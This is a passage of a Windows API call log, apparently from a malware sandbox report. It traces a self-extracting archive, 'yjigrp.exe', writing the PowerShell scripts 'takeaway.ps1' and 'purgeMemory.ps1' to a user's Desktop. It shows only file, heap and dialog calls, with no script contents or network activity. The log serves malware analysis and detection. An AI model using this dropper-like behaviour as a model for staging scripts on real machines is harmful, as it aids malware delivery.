(HeapHandle=0xa10000, Flags=0x0, Size=0x10c0) returned 0xa70800 [0058.819] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10c0) returned 0xa718c8 [0058.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\yjigrp.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\yjigrp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x294 [0058.819] ReadFile (in: hFile=0x294, lpBuffer=0x6e0b6c, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6de8f4, lpOverlapped=0x0 | out: lpBuffer=0x6e0b6c*, lpNumberOfBytesRead=0x6de8f4*=0x7, lpOverlapped=0x0) returned 1 [0058.819] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x200000) returned 0x3f9e020 [0058.823] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de924*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6de924*=0) returned 0x7 [0058.823] ReadFile (in: hFile=0x294, lpBuffer=0x3f9e020, nNumberOfBytesToRead=0x1ffff0, lpNumberOfBytesRead=0x6de8f4, lpOverlapped=0x0 | out: lpBuffer=0x3f9e020*, lpNumberOfBytesRead=0x6de8f4*=0x5f3d9, lpOverlapped=0x0) returned 1 [0058.842] SetFilePointer (in: hFile=0x294, lDistanceToMove=259584, lpDistanceToMoveHigh=0x6de914*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6de914*=0) returned 0x3f600 [0058.842] ReadFile (in: hFile=0x294, lpBuffer=0x6e0b6c, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6de8f4, lpOverlapped=0x0 | out: lpBuffer=0x6e0b6c*, lpNumberOfBytesRead=0x6de8f4*=0x7, lpOverlapped=0x0) returned 1 [0058.842] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0x3f9e020 | out: hHeap=0xa10000) returned 1 [0058.848] ReadFile (in: hFile=0x294, lpBuffer=0x6e0b73, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6de8f4, lpOverlapped=0x0 | out: lpBuffer=0x6e0b73*, lpNumberOfBytesRead=0x6de8f4*=0x1, lpOverlapped=0x0) returned 1 [0058.848] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6de918*=0) returned 0x3f608 [0058.848] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa4a900 [0058.848] ReadFile (in: hFile=0x294, lpBuffer=0xa4a900, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6dc7dc, lpOverlapped=0x0 | out: lpBuffer=0xa4a900*, lpNumberOfBytesRead=0x6dc7dc*=0x7, lpOverlapped=0x0) returned 1 [0058.848] ReadFile (in: hFile=0x294, lpBuffer=0xa4a907, nNumberOfBytesToRead=0xa, lpNumberOfBytesRead=0x6dc7d8, lpOverlapped=0x0 | out: lpBuffer=0xa4a907*, lpNumberOfBytesRead=0x6dc7d8*=0xa, lpOverlapped=0x0) returned 1 [0058.849] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa4a900 | out: hHeap=0xa10000) returned 1 [0058.849] SetFilePointer (in: hFile=0x294, lDistanceToMove=259609, lpDistanceToMoveHigh=0x6de910*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6de910*=0) returned 0x3f619 [0058.849] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de924*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6de924*=0) returned 0x3f619 [0058.849] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6de918*=0) returned 0x3f619 [0058.849] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa4acc0 [0058.849] ReadFile (in: hFile=0x294, lpBuffer=0xa4acc0, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6dc7dc, lpOverlapped=0x0 | out: lpBuffer=0xa4acc0*, lpNumberOfBytesRead=0x6dc7dc*=0x7, lpOverlapped=0x0) returned 1 [0058.849] ReadFile (in: hFile=0x294, lpBuffer=0xa4acc7, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x6dc7d8, lpOverlapped=0x0 | out: lpBuffer=0xa4acc7*, lpNumberOfBytesRead=0x6dc7d8*=0x11, lpOverlapped=0x0) returned 1 [0058.849] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa4acc0 | out: hHeap=0xa10000) returned 1 [0058.849] SetFilePointer (in: hFile=0x294, lDistanceToMove=259787, lpDistanceToMoveHigh=0x6de910*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6de910*=0) returned 0x3f6cb [0058.849] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6de918*=0) returned 0x3f6cb [0058.849] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa4a7e8 [0058.849] ReadFile (in: hFile=0x294, lpBuffer=0xa4a7e8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6dc7dc, lpOverlapped=0x0 | out: lpBuffer=0xa4a7e8*, lpNumberOfBytesRead=0x6dc7dc*=0x7, lpOverlapped=0x0) returned 1 [0058.849] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa4a7e8, Size=0x48) returned 0xa4c7f8 [0058.849] ReadFile (in: hFile=0x294, lpBuffer=0xa4c7ff, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6dc7d8, lpOverlapped=0x0 | out: lpBuffer=0xa4c7ff*, lpNumberOfBytesRead=0x6dc7d8*=0x26, lpOverlapped=0x0) returned 1 [0058.849] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa4c7f8 | out: hHeap=0xa10000) returned 1 [0058.849] SetFilePointer (in: hFile=0x294, lDistanceToMove=259609, lpDistanceToMoveHigh=0x6de900*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6de900*=0) returned 0x3f619 [0058.849] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de928*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6de928*=0) returned 0x3f619 [0058.849] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de918*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x6de918*=0) returned 0x5f3e0 [0058.849] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de928*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6de928*=0) returned 0x5f3e0 [0058.849] SetFilePointer (in: hFile=0x294, lDistanceToMove=259609, lpDistanceToMoveHigh=0x6de904*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6de904*=0) returned 0x3f619 [0058.849] GetSystemTime (in: lpSystemTime=0x6de93c | out: lpSystemTime=0x6de93c*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x5, wDay=0xc, wHour=0x9, wMinute=0x4, wSecond=0x7, wMilliseconds=0x15)) [0058.849] SystemTimeToFileTime (in: lpSystemTime=0x6de93c, lpFileTime=0x6de94c | out: lpFileTime=0x6de94c) returned 1 [0058.849] LoadStringW (in: hInstance=0x860000, uID=0x8d, lpBuffer=0x89d820, cchBufferMax=512 | out: lpBuffer="Extracting from %s") returned 0x12 [0058.849] GetLastError () returned 0x0 [0058.849] SetLastError (dwErrCode=0x0) [0058.849] GetDlgItem (hDlg=0x201cc, nIDDlgItem=104) returned 0x5002a [0058.849] SendMessageW (hWnd=0x5002a, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x33 [0058.850] SendMessageW (hWnd=0x5002a, Msg=0x43a, wParam=0x0, lParam=0x6dd4ec) returned 0xf800003f [0058.850] SendMessageW (hWnd=0x5002a, Msg=0x444, wParam=0x1, lParam=0x6dd4ec) returned 0x1 [0058.850] SendMessageW (hWnd=0x5002a, Msg=0xc2, wParam=0x0, lParam=0x6dd554) returned 0x1a [0058.850] SendMessageW (hWnd=0x5002a, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x4d [0058.851] SendMessageW (hWnd=0x5002a, Msg=0xc2, wParam=0x0, lParam=0x8912c0) returned 0x1 [0058.851] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de910*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6de910*=0) returned 0x3f619 [0058.851] SetFilePointer (in: hFile=0x294, lDistanceToMove=259609, lpDistanceToMoveHigh=0x6de8fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6de8fc*=0) returned 0x3f619 [0058.851] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6de8ec*=0) returned 0x3f619 [0058.851] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa4ab58 [0058.851] ReadFile (in: hFile=0x294, lpBuffer=0xa4ab58, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6dc7b0, lpOverlapped=0x0 | out: lpBuffer=0xa4ab58*, lpNumberOfBytesRead=0x6dc7b0*=0x7, lpOverlapped=0x0) returned 1 [0058.851] ReadFile (in: hFile=0x294, lpBuffer=0xa4ab5f, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x6dc7ac, lpOverlapped=0x0 | out: lpBuffer=0xa4ab5f*, lpNumberOfBytesRead=0x6dc7ac*=0x11, lpOverlapped=0x0) returned 1 [0058.851] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa4ab58 | out: hHeap=0xa10000) returned 1 [0058.851] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x8003) returned 0xa72990 [0058.852] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x8003) returned 0xa7a9a0 [0058.852] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1b8) returned 0xa480f0 [0058.852] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x298 [0058.852] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x29c [0058.853] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40000) returned 0xa829b0 [0058.856] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x9a) returned 0xac29b8 [0058.856] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0xb54) returned 0xac2a60 [0058.856] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40000) returned 0xac35c0 [0058.856] ReadFile (in: hFile=0x294, lpBuffer=0xac35c0, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x6d014c, lpOverlapped=0x0 | out: lpBuffer=0xac35c0*, lpNumberOfBytesRead=0x6d014c*=0x9a, lpOverlapped=0x0) returned 1 [0058.856] PeekMessageW (in: lpMsg=0x6d0154, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d0154) returned 0 [0058.856] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0058.856] PeekMessageW (in: lpMsg=0x6d0154, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d0154) returned 0 [0058.856] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0058.857] PeekMessageW (in: lpMsg=0x6d014c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d014c) returned 0 [0058.857] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0058.857] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xac35c0 | out: hHeap=0xa10000) returned 1 [0058.857] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa829b0 | out: hHeap=0xa10000) returned 1 [0058.857] ReleaseSemaphore (in: hSemaphore=0x298, lReleaseCount=32, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0058.857] CloseHandle (hObject=0x298) returned 1 [0058.857] CloseHandle (hObject=0x29c) returned 1 [0058.857] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa480f0 | out: hHeap=0xa10000) returned 1 [0058.857] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa7a9a0 | out: hHeap=0xa10000) returned 1 [0058.857] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa72990 | out: hHeap=0xa10000) returned 1 [0058.858] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xac29b8, Size=0xe0) returned 0xac35c0 [0058.859] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x136) returned 0xac36a8 [0058.859] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xac35c0 | out: hHeap=0xa10000) returned 1 [0058.859] SetFilePointer (in: hFile=0x294, lDistanceToMove=259609, lpDistanceToMoveHigh=0x6de8ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6de8ec*=0) returned 0x3f619 [0058.859] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xac36a8 | out: hHeap=0xa10000) returned 1 [0058.859] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de95c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6de95c*=0) returned 0x3f619 [0058.859] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa4aa40 [0058.859] ReadFile (in: hFile=0x294, lpBuffer=0xa4aa40, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6dc820, lpOverlapped=0x0 | out: lpBuffer=0xa4aa40*, lpNumberOfBytesRead=0x6dc820*=0x7, lpOverlapped=0x0) returned 1 [0058.860] ReadFile (in: hFile=0x294, lpBuffer=0xa4aa47, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x6dc81c, lpOverlapped=0x0 | out: lpBuffer=0xa4aa47*, lpNumberOfBytesRead=0x6dc81c*=0x11, lpOverlapped=0x0) returned 1 [0058.860] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa4aa40 | out: hHeap=0xa10000) returned 1 [0058.860] SetFilePointer (in: hFile=0x294, lDistanceToMove=259787, lpDistanceToMoveHigh=0x6d9798*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d9798*=0) returned 0x3f6cb [0058.860] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de95c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6de95c*=0) returned 0x3f6cb [0058.860] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa4a838 [0058.860] ReadFile (in: hFile=0x294, lpBuffer=0xa4a838, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6dc820, lpOverlapped=0x0 | out: lpBuffer=0xa4a838*, lpNumberOfBytesRead=0x6dc820*=0x7, lpOverlapped=0x0) returned 1 [0058.860] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa4a838, Size=0x48) returned 0xa4c7f8 [0058.860] ReadFile (in: hFile=0x294, lpBuffer=0xa4c7ff, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6dc81c, lpOverlapped=0x0 | out: lpBuffer=0xa4c7ff*, lpNumberOfBytesRead=0x6dc81c*=0x26, lpOverlapped=0x0) returned 1 [0058.860] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa4c7f8 | out: hHeap=0xa10000) returned 1 [0058.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="takeaway.ps1", cchCount2=1) returned 1 [0058.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="takeaway.ps1", cchCount2=6) returned 1 [0058.860] GetProcAddress (hModule=0x77260000, lpProcName="CharUpperW") returned 0x77290f70 [0058.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="takeaway.ps1", cchCount2=-1) returned 1 [0058.860] SetFilePointer (in: hFile=0x294, lDistanceToMove=259832, lpDistanceToMoveHigh=0x6d979c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d979c*=0) returned 0x3f6f8 [0058.860] LoadStringW (in: hInstance=0x860000, uID=0x65, lpBuffer=0x89dc20, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0058.860] GetLastError () returned 0x0 [0058.860] SetLastError (dwErrCode=0x0) [0058.860] SetDlgItemTextW (hDlg=0x201cc, nIDDlgItem=101, lpString="Extracting takeaway.ps1") returned 1 [0058.860] PeekMessageW (in: lpMsg=0x6d8378, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d8378) returned 0 [0058.860] GetFileAttributesW (lpFileName="takeaway.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\takeaway.ps1")) returned 0xffffffff [0058.860] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x6d6730 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0058.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\takeaway.ps1")) returned 0xffffffff [0058.860] CreateFileW (lpFileName="takeaway.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\takeaway.ps1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0058.863] GetFileType (hFile=0x29c) returned 0x1 [0058.863] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0xb54) returned 0xac35c0 [0058.863] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0xb54) returned 0xac4120 [0058.863] SetFilePointer (in: hFile=0x29c, lDistanceToMove=3766, lpDistanceToMoveHigh=0x6d979c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d979c*=0) returned 0xeb6 [0058.863] SetEndOfFile (hFile=0x29c) returned 1 [0058.872] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x6d9788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d9788*=0) returned 0x0 [0058.917] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40000) returned 0xac4c80 [0058.920] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x400400) returned 0x3f97020 [0058.968] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x25724) returned 0xa72990 [0058.969] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x30c00) returned 0x43a0048 [0058.970] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x30c00) returned 0x43d0c50 [0058.970] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x30c00) returned 0x4401858 [0058.971] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x30c00) returned 0x4432460 [0058.971] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x30c00) returned 0x4463068 [0058.972] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x30c00) returned 0x44a0048 [0058.972] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x30c00) returned 0x44d0c50 [0058.973] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x30c00) returned 0x4501858 [0058.973] ReadFile (in: hFile=0x294, lpBuffer=0x3f97020, nNumberOfBytesToRead=0x673, lpNumberOfBytesRead=0x6d9610, lpOverlapped=0x0 | out: lpBuffer=0x3f97020*, lpNumberOfBytesRead=0x6d9610*=0x673, lpOverlapped=0x0) returned 1 [0058.973] SendDlgItemMessageW (hDlg=0x201cc, nIDDlgItem=106, Msg=0x402, wParam=0x43, lParam=0x0) returned 0x0 [0058.975] PeekMessageW (in: lpMsg=0x6d95b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d95b4) returned 0 [0058.975] PeekMessageW (in: lpMsg=0x6d9618, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d9618) returned 0 [0058.975] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0058.975] SendDlgItemMessageW (hDlg=0x201cc, nIDDlgItem=106, Msg=0x402, wParam=0x43, lParam=0x0) returned 0x43 [0058.975] PeekMessageW (in: lpMsg=0x6d95b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d95b4) returned 0 [0058.975] PeekMessageW (in: lpMsg=0x6d9618, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d9618) returned 0 [0058.975] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0058.975] WriteFile (in: hFile=0x29c, lpBuffer=0xac4c80*, nNumberOfBytesToWrite=0xeb6, lpNumberOfBytesWritten=0x6d95e4, lpOverlapped=0x0 | out: lpBuffer=0xac4c80*, lpNumberOfBytesWritten=0x6d95e4*=0xeb6, lpOverlapped=0x0) returned 1 [0058.976] PeekMessageW (in: lpMsg=0x6d95b8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d95b8) returned 0 [0058.976] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0058.976] SetFilePointer (in: hFile=0x294, lDistanceToMove=261483, lpDistanceToMoveHigh=0x6d9798*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d9798*=0) returned 0x3fd6b [0058.976] SetFileTime (hFile=0x29c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x6d978c) returned 1 [0058.982] CloseHandle (hObject=0x29c) returned 1 [0059.001] SetFileAttributesW (lpFileName="takeaway.ps1", dwFileAttributes=0x20) returned 1 [0059.001] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x6de95c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6de95c*=0) returned 0x3fd6b [0059.001] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa4aae0 [0059.001] ReadFile (in: hFile=0x294, lpBuffer=0xa4aae0, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6dc820, lpOverlapped=0x0 | out: lpBuffer=0xa4aae0*, lpNumberOfBytesRead=0x6dc820*=0x7, lpOverlapped=0x0) returned 1 [0059.001] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa4aae0, Size=0x48) returned 0xa4c668 [0059.001] ReadFile (in: hFile=0x294, lpBuffer=0xa4c66f, nNumberOfBytesToRead=0x29, lpNumberOfBytesRead=0x6dc81c, lpOverlapped=0x0 | out: lpBuffer=0xa4c66f*, lpNumberOfBytesRead=0x6dc81c*=0x29, lpOverlapped=0x0) returned 1 [0059.001] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa4c668 | out: hHeap=0xa10000) returned 1 [0059.001] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="purgeMemory.ps1", cchCount2=1) returned 1 [0059.001] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="purgeMemory.ps1", cchCount2=6) returned 1 [0059.001] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="purgeMemory.ps1", cchCount2=-1) returned 1 [0059.001] SetFilePointer (in: hFile=0x294, lDistanceToMove=261531, lpDistanceToMoveHigh=0x6d979c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d979c*=0) returned 0x3fd9b [0059.002] LoadStringW (in: hInstance=0x860000, uID=0x65, lpBuffer=0x89e020, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0059.002] GetLastError () returned 0x0 [0059.002] SetLastError (dwErrCode=0x0) [0059.002] SetDlgItemTextW (hDlg=0x201cc, nIDDlgItem=101, lpString="Extracting purgeMemory.ps1") returned 1 [0059.002] PeekMessageW (in: lpMsg=0x6d8378, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d8378) returned 0 [0059.002] GetFileAttributesW (lpFileName="purgeMemory.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\purgememory.ps1")) returned 0xffffffff [0059.002] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x6d6730 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0059.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\purgememory.ps1")) returned 0xffffffff [0059.002] CreateFileW (lpFileName="purgeMemory.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\purgememory.ps1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0059.005] GetFileType (hFile=0x29c) returned 0x1 [0059.006] SetFilePointer (in: hFile=0x29c, lDistanceToMove=8266, lpDistanceToMoveHigh=0x6d979c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d979c*=0) returned 0x204a [0059.006] SetEndOfFile (hFile=0x29c) returned 1 [0059.026] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x6d9788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6d9788*=0) returned 0x0 [0059.026] ReadFile (in: hFile=0x294, lpBuffer=0x3f97020, nNumberOfBytesToRead=0xedc, lpNumberOfBytesRead=0x6d9610, lpOverlapped=0x0 | out: lpBuffer=0x3f97020*, lpNumberOfBytesRead=0x6d9610*=0xedc, lpOverlapped=0x0) returned 1 [0059.026] SendDlgItemMessageW (hDlg=0x201cc, nIDDlgItem=106, Msg=0x402, wParam=0x44, lParam=0x0) returned 0x43 [0059.027] PeekMessageW (in: lpMsg=0x6d95b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d95b4) returned 1 [0059.027] GetMessageW (in: lpMsg=0x6d95b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x6d95b4) returned 1 [0059.027] TranslateMessage (lpMsg=0x6d95b4) returned 0 [0059.027] DispatchMessageW (lpMsg=0x6d95b4) returned 0x0 [0059.027] PeekMessageW (in: lpMsg=0x6d9618, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d9618) returned 0 [0059.027] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.027] SendDlgItemMessageW (hDlg=0x201cc, nIDDlgItem=106, Msg=0x402, wParam=0x44, lParam=0x0) returned 0x44 [0059.027] PeekMessageW (in: lpMsg=0x6d95b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d95b4) returned 0 [0059.027] PeekMessageW (in: lpMsg=0x6d9618, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d9618) returned 0 [0059.027] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.027] WriteFile (in: hFile=0x29c, lpBuffer=0xac4c80*, nNumberOfBytesToWrite=0x204a, lpNumberOfBytesWritten=0x6d95e4, lpOverlapped=0x0 | out: lpBuffer=0xac4c80*, lpNumberOfBytesWritten=0x6d95e4*=0x204a, lpOverlapped=0x0) returned 1 [0059.028] PeekMessageW (in: lpMsg=0x6d95b8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6d95b8) returned 0 [0059.028] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.028] SetFilePointer (in: hFile=0x294, lDistanceToMove=265335, lpDistanceToMoveHigh=0x6d9798*=0, dwMoveMethod=0x0 | out: 